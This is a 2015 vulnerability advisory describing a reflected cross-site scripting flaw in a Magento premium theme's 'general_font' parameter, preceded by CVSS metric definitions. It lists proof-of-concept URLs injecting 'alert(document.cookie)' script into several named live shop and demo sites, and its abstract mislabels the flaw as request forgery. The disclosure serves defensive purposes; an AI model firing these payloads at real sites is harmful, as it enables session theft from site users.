The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Ebay Magento Client Side Cross Site Scripting Web VulnerabilityDocument Title:
===============
Ebay Magento Bug Bounty #17 - Client Side Cross Site Scripting Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1473
EIBBP-31541
Release Date:
=============
2015-06-15
Vulnerability Laboratory ID (VL-ID):
====================================
1473
Common Vulnerability Scoring System:
====================================
3
Product & Service Introduction:
===============================
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.
Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability inside our system, please tell us right away.
( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site request forgery web vulnerability in the official Magento Commerce online service web-application.
Vulnerability Disclosure Timeline:
==================================
2015-02-20: Researcher Notification & Coordination (Hadji Samir)
2015-02-21: Vendor Notification (Magento Team - Bug Bounty Program)
2015-03-10: Vendor Response/Feedback (Magento Security Team - Bug Bounty Program)
2015-05-12: Vendor Fix/Patch (Magento Developer Team)
2015-06-15: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Ebay Inc.
Product: Magento - Premium Themes 2015 Q1
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the official Magento Commerce Premium Theme front-end web-application.
The non-persistent xss vulnerability allows remote attackers to inject own script code to the application-side of the vulnerable online-service module.
The vulnerability is located in the `general_front` values of the `/css/theme.less.php` front-end template file. Remote attackers are able to inject own
script codes to client-side application requests. The attack vector is non persistent and the request method to inject/execute is GET. The vulnerable
source is located in the magento premium theme and the stable release.
The security risk of the cross site web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.0.
Exploitation of the cross site scripting web vulnerability requires no privileged web application user account and no user interaction.
Successful exploitation results in client-side account theft by hijacking, client-side phishing, client-side external redirects and
non-persistent manipulation of affected or connected service modules.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] css/less
Vulnerable File(s):
[+] theme.less.php
Vulnerable Parameter(s):
[+] general_front
Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged application user account and with low user interaction(click).
For security demonstration or to reproduce the security vulnerability follow the provided infomation and steps below to continue.
Vulnerable Source(s):
http://www.gutzzi.com/skin/frontend/default/em0121/css/less/theme.less.php?%40variables_url=%22http%3A%2F%2Fwww.gutzzi.com%2Fskin%2Ffrontend%2Fdefault%2Fem0121%2Fcss%2Fless%2Ftheme.less%22&%40function_url=%22http%3A%2F%2Fwww.gutzzi.com%2Fskin%2Ffrontend%2Fdefault%2Fem0121%2Fcss%2Fless%2Ffunctions.less%22&%40screen-large-desktop=1200px&%40screen-desktop=992px&%40screen-tablet=768px&%40desktop=%7E%22%28max-width%3A+767px%29%22&%40tablet=%7E%22only+screen+and+%28min-width%3A+720px%29+and+%28max-width%3A+959px%29%22&%40page_bg_color=%23ffffff&%40page_bg_position=%7E%220+0%22&%40page_bg_repeat=repeat&%40box_shadow=%7E%220+0+5px+0+%23c4c4c3%22&%40rounded_corner=0&%40general_font=%7E%22normal+13px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h1_font=%7E%22normal+22px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h2_font=%7E%22normal+20px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h3_font=%7E%22normal+18px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h4_font=%7E%22normal+16px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h5_font=%7E%22normal+14px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h6_font=%7E%22normal+12px%2F1.35+Raleway%2Chelvetica%2Carial%2Csans-serif%22&%40header_bg_color=%23ffffff&%40header_bg2_color=%23a4d0d9&%40header_bg3_color=%23ffffff&%40header_bg4_color=%23eff7f8&%40header_bg5_color=%23a4d0d9&%40header_bg_position=%7E%220+0%22&%40header_bg_repeat=repeat&%40header_text_color=%23999999&%40header_text2_color=%23686868&%40header_text4_color=%23ffffff&%40header_text5_color=%23000000&%40header_line_color=%23eaeaea&%40topmenu_text_color=%23999999&%40topmenu_hover_text_color=%23686868&%40topmenu_line_color=%23a4d0d9&%40topmenu_font=%7E%22500+15px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40dropmenu_bg_color=%23ffffff&%40dropmenu_text_color=%23666666&%40dropmenu_text2_color=%23a4d0d9&%40dropmenu_line_color=%23d3d3d3&%40dropmenu_font=%7E%22normal+13px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40body_bg_color=%23ffffff&%40body_bg2_color=%23ffffff&%40body_bg3_color=%23ffffff&%40body_bg4_color=%23abd4dc&%40body_bg6_color=%23f6f6f6&%40body_bg_position=%7E%220+0%22&%40body_bg_repeat=repeat&%40body_text_color=%23ffffff&%40body_text2_color=%23666666&%40body_text3_color=%23686868&%40body_text4_color=%23999999&%40body_text5_color=%23abd4dc&%40body_text6_color=%23ff8401&%40body_line_color=%23d1d1d1&%40body_line2_color=%23eaeaea&%40body_line3_color=%23abd4dc&%40title_font=%7E%22500+15px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40footer_bg_color=%23ffffff&%40footer_bg2_color=%23a4d0d9&%40footer_bg3_color=%23999999&%40footer_bg4_color=%23f2f2f2&%40footer_bg_position=%7E%220+0%22&%40footer_bg_repeat=repeat&%40footer_text_color=%23666666&%40footer_text2_color=%23000000&%40footer_text3_color=%23a4d0d9&%40footer_text4_color=%23999999&%40footer_text5_color=%23ffffff&%40footer_line_color=%23d9d9d9&%40btn1_bg_color=%23a4d0d9&%40btn1_text_color=%23ffffff&%40btn1_line_color=%23a4d0d9&%40btn1_font=%7E%22500+13px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40btn2_bg_color=%23686868&%40btn2_text_color=%23ffffff&%40btn2_line_color=%23686868&%40btn2_font=%7E%22500+13px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40image_bg_url=%7E%22http%3A%2F%2Fwww.gutzzi.com%2F%22&%40page_bg_image=%7E%22skin%2Ffrontend%2Fdefault%2Fem0121%2Fimages%2Fstripes%2Fblank.gif%22&%40header_bg_image=%7E%22skin%2Ffrontend%2Fdefault%2Fem0121%2Fimages%2Fstripes%2Fblank.gif%22&%40body_bg_image=%7E%22skin%2Ffrontend%2Fdefault%2Fem0121%2Fimages%2Fstripes%2Fblank.gif%22&%40footer_bg_image=%7E%22skin%2Ffrontend%2Fdefault%2Fem0121%2Fimages%2Fstripes%2Fblank.gif%22"
PoC(s):
http://www.ediwear.com/skin/frontend/default/em0121/css/less/theme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
http://saadelectronics.com/skin/frontend/default/galatitanshop/css/less/theme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
http://saadeperfumes.com/skin/frontend/default/galatitanshop/css/less/theme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
www.diamantiegemme.com/skin/frontend/default/em0121/css/less/theme.less.php?general_font=<script>alert(document.cookie)</script>
http://www.gutzzi.com/skin/frontend/default/em0121/css/less/theme.less.php?general_font=%3Cscript%3Ealert%28%27samir%27%29%3C/script%3E
http://www.emthemes.com/premium-magento-themes.html
http://www.emthemes.com/demo/#em0116
http://demo.emthemes.com/ticker/skin/frontend/default/em0116/css/less/theme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
http://demo.emthemes.com/ticker/skin/frontend/default/em0116/css/less/theme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
http://demo.emthemes.com/megamart/skin/frontend/default/em0119/css/theme.css.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
http://demo.emthemes.com/markpro/skin/frontend/default/em0089/css/theme.css.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
http://www.emthemes.com/premium-magento-themes.html
http://demo.emthemes.com/superstore/skin/frontend/default/em0096/css/theme.css.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
http://demo.emthemes.com/gala-shopmore/skin/frontend/default/galashopmore/css/theme.css.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
Solution - Fix & Patch:
=======================
Restrict the input of the general_font value by disallowing the usage of special chars.
Encode and parse the vulnerable file parameters to prevent client-side script code injection attacks.
Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in the frontend is estimated as medium. (CVSS 3.0)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [[email protected]]
Disclaimer & Information:
=========================
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